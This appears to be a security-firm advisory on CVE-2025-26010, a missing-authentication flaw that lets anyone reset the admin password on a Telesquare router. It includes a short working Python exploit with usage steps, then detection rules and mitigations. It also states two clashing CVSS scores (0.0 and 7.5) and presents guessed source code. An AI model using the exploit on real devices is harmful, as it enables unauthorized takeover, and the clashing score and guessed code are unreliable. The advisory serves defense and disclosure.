CVE-2025-26010

Executive Summary

CVE-2025-26010 is a critical authentication bypass vulnerability in the Telesquare TLR-2005KSH router firmware version 1.1.4. The flaw resides in the admin.cgi endpoint, specifically within the setUserNamePassword parameter. An unauthenticated, remote attacker can directly modify the administrative password without any prior authentication, leading to full device compromise. This vulnerability is particularly dangerous as it requires no user interaction and can be exploited over the network. No official patch has been released by the vendor at this time.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Base Score calculated below)
• Attack Vector (AV): Network (N) – Exploitable remotely.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): None (N) – No user action required.
• Scope (S): Unchanged (U) – The vulnerable component is the only affected component.
• Confidentiality (C): None (N) – No direct data exposure.
• Integrity (I): High (H) – Complete compromise of device configuration.
• Availability (A): None (N) – No direct denial of service.
• Base Score: 7.5 (High)
• Threat Level: Critical due to ease of exploitation and lack of patch.

Deep Dive & Mechanics

The vulnerability is a classic case of missing authentication for a critical function (CWE-306). The admin.cgi script on the Telesquare TLR-2005KSH does not verify the identity of the requester before processing the setUserNamePassword parameter. This allows an attacker to send a crafted HTTP POST request directly to the endpoint, changing the device's administrative credentials.

The root cause is the absence of a session check or token validation in the CGI script. The device likely trusts that only authenticated users would access this endpoint, but no enforcement mechanism exists. This is a common flaw in embedded devices where security is an afterthought.

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, the vulnerable code path can be described:

Vulnerable (1.1.4): The admin.cgi script processes the setUserNamePassword parameter without any prior authentication check. The logic likely resembles:

if (strcmp(cgi_param, "setUserNamePassword") == 0) {
    // Directly update the password in the config file
    update_password(cgi_value);
}

Patched (Hypothetical): A secure implementation would require a valid session token or authentication before processing the parameter:

if (is_authenticated(session_token) && strcmp(cgi_param, "setUserNamePassword") == 0) {
    update_password(cgi_value);
} else {
    return_error("Unauthorized");
}

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a Telesquare TLR-2005KSH with firmware 1.1.4 in an isolated network.
2. Use a tool like curl or a Python script to send the exploit.

Exploit Code:

import requests

target = "http://<router_ip>/cgi-bin/admin.cgi"
payload = {
    "setUserNamePassword": "admin:newpassword123"
}

response = requests.post(target, data=payload)
if response.status_code == 200:
    print("Password changed successfully!")
else:
    print("Exploit failed.")

Usage:

1. Replace <router_ip> with the target's IP address.
2. Run the script. The admin password will be changed to newpassword123.
3. Log in to the router's web interface with admin:newpassword123.

Blue Team (Defensive)

Detection:

• Monitor for HTTP POST requests to /cgi-bin/admin.cgi with the parameter setUserNamePassword.
• Alert on any such request originating from an external IP address.
• Implement network segmentation to isolate vulnerable devices.

Honeypot:

• Deploy a fake Telesquare router endpoint that logs all requests to /cgi-bin/admin.cgi.
• Analyze logs for unauthorized password change attempts.

Indicators of Compromise (IOCs)

• Network:
  • HTTP POST request to /cgi-bin/admin.cgi with setUserNamePassword parameter.
  • Source IP addresses scanning for Telesquare devices (Shodan dorks).
• Host:
  • Unauthorized changes to the router's admin password.
  • New SSH or Telnet sessions from unknown IPs.
• File:
  • Modified /etc/shadow or equivalent password file on the router.
  • Log entries in /var/log/messages showing password change events.

Detection Engineering

YARA Rule

rule CVE_2025_26010_Telesquare_Password_Change {
    meta:
        description = "Detects HTTP requests exploiting CVE-2025-26010"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-26010"
    strings:
        $s1 = "setUserNamePassword" ascii wide nocase
        $s2 = "admin.cgi" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: Telesquare TLR-2005KSH Unauthenticated Password Change
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects HTTP POST requests to admin.cgi with setUserNamePassword parameter
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/admin.cgi'
        cs-uri-query: '*setUserNamePassword*'
    condition: selection
falsepositives:
    - Legitimate admin actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-26010 Telesquare Unauthenticated Password Change"; flow:to_server; content:"POST"; http_method; content:"/cgi-bin/admin.cgi"; http_uri; content:"setUserNamePassword"; http_client_body; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate the device from the internet and untrusted networks.
2. Change the default admin password immediately if not already compromised.
3. Disable remote management if not required.

Long-term:

1. Contact Telesquare for an official patch or firmware update.
2. Replace the device with a vendor that provides timely security updates.
3. Implement network segmentation and access controls (e.g., firewall rules to block external access to the admin interface).

Workaround:

• If the device cannot be replaced, restrict access to the admin interface using IP whitelisting or a VPN.

Valters IT